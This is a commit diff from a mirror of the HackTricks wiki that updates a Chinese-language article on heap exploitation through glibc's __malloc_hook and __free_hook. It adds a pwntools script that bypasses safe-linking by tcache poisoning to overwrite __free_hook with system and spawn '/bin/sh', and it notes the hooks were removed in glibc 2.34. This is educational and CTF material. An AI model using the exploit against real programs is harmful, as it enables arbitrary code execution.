mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
b6506c840c
commit
34472227e7
@ -1,14 +1,14 @@
|
|||||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
# WWW2Exec - __malloc_hook & __free_hook
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Malloc Hook**
|
## **Malloc Hook**
|
||||||
|
|
||||||
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **每当调用 `malloc()` 时将被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
|
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **一个将在调用 `malloc()` 时被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
|
||||||
|
|
||||||
要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配太多字节,使得 `libc` 调用 malloc 在堆中分配它们。
|
要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配过多的字节,使得 `libc` 调用 malloc 在堆中分配它们。
|
||||||
|
|
||||||
有关 One Gadget 的更多信息,请参见:
|
关于 One Gadget 的更多信息:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||||
@ -43,7 +43,7 @@ gef➤ p &__free_hook
|
|||||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
在前面的代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
|
在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
|
||||||
|
|
||||||
现在进行一个 **fast bin 攻击**:
|
现在进行一个 **fast bin 攻击**:
|
||||||
|
|
||||||
@ -60,11 +60,76 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||||||
- 为此,创建一个大小为 `0xfc` 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。
|
- 为此,创建一个大小为 `0xfc` 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。
|
||||||
- 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。
|
- 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。
|
||||||
- 接着,创建一个大小为 `0x1f8` 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 `0x1f8` 的 chunk,以在 **`__free_hook`** 中获取一个快速 bin chunk,并用 **`system`** 函数的地址覆盖它。
|
- 接着,创建一个大小为 `0x1f8` 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 `0x1f8` 的 chunk,以在 **`__free_hook`** 中获取一个快速 bin chunk,并用 **`system`** 函数的地址覆盖它。
|
||||||
- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发 **`__free_hook`** 函数,该函数将 `/bin/sh\x00` 作为参数指向 system。
|
- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发指向系统的 **`__free_hook`** 函数,参数为 `/bin/sh\x00`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tcache 中毒与安全链接 (glibc 2.32 – 2.33)
|
||||||
|
|
||||||
|
glibc 2.32 引入了 **安全链接** – 一种完整性检查,保护 **tcache** 和快速 bin 使用的 *单* 链表。ptmalloc 现在不再存储原始的前向指针 (`fd`),而是用以下宏进行 *混淆*:
|
||||||
|
```c
|
||||||
|
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||||
|
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||||
|
```
|
||||||
|
后果:
|
||||||
|
|
||||||
|
1. **堆泄漏**是必需的 – 攻击者必须知道`chunk_addr >> 12`的运行时值,以构造有效的混淆指针。
|
||||||
|
2. 只能伪造*完整*的8字节指针;单字节部分覆盖将无法通过检查。
|
||||||
|
|
||||||
|
因此,覆盖glibc 2.32/2.33上的`__free_hook`的最小tcache中毒原语如下:
|
||||||
|
```py
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||||
|
p = process("./vuln")
|
||||||
|
|
||||||
|
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||||
|
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||||
|
heap_base = heap_leak & ~0xfff
|
||||||
|
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||||
|
log.success(f"heap @ {hex(heap_base)}")
|
||||||
|
|
||||||
|
# 2. Prepare two same-size chunks and double-free one of them
|
||||||
|
a = malloc(0x48)
|
||||||
|
b = malloc(0x48)
|
||||||
|
free(a)
|
||||||
|
free(b)
|
||||||
|
free(a) # tcache double-free ⇒ poisoning primitive
|
||||||
|
|
||||||
|
# 3. Forge obfuscated fd that points to __free_hook
|
||||||
|
free_hook = libc.sym['__free_hook']
|
||||||
|
poison = free_hook ^ fd_key
|
||||||
|
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||||
|
|
||||||
|
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||||
|
malloc(0x48) # returns chunk a
|
||||||
|
c = malloc(0x48) # returns chunk @ __free_hook
|
||||||
|
edit(c, p64(libc.sym['system']))
|
||||||
|
|
||||||
|
# 5. Trigger
|
||||||
|
bin_sh = malloc(0x48)
|
||||||
|
edit(bin_sh, b"/bin/sh\x00")
|
||||||
|
free(bin_sh)
|
||||||
|
```
|
||||||
|
上面的片段改编自最近的CTF挑战,例如*UIUCTF 2024 – «Rusty Pointers»*和*openECSC 2023 – «Babyheap G»*,这两个挑战都依赖于Safe-Linking绕过来覆盖`__free_hook`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## glibc ≥ 2.34 中发生了什么变化?
|
||||||
|
|
||||||
|
从**glibc 2.34(2021年8月)**开始,分配钩子`__malloc_hook`、`__realloc_hook`、`__memalign_hook`和`__free_hook`被**从公共API中移除,不再被分配器调用**。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响`malloc()`或`free()`的控制流。
|
||||||
|
|
||||||
|
实际影响:在现代发行版(Ubuntu 22.04+、Fedora 35+、Debian 12等)上,您必须转向*其他*劫持原语(IO-FILE、`__run_exit_handlers`、vtable喷洒等),因为钩子覆盖将静默失败。
|
||||||
|
|
||||||
|
如果您仍然需要旧的行为进行调试,glibc提供`libc_malloc_debug.so`,可以预加载以重新启用遗留钩子——但该库**不适合生产环境,可能在未来的版本中消失**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||||
|
- Safe-Linking – 消除20年历史的malloc()漏洞原语(Check Point Research,2020)
|
||||||
|
- glibc 2.34发布说明 – 移除malloc钩子
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user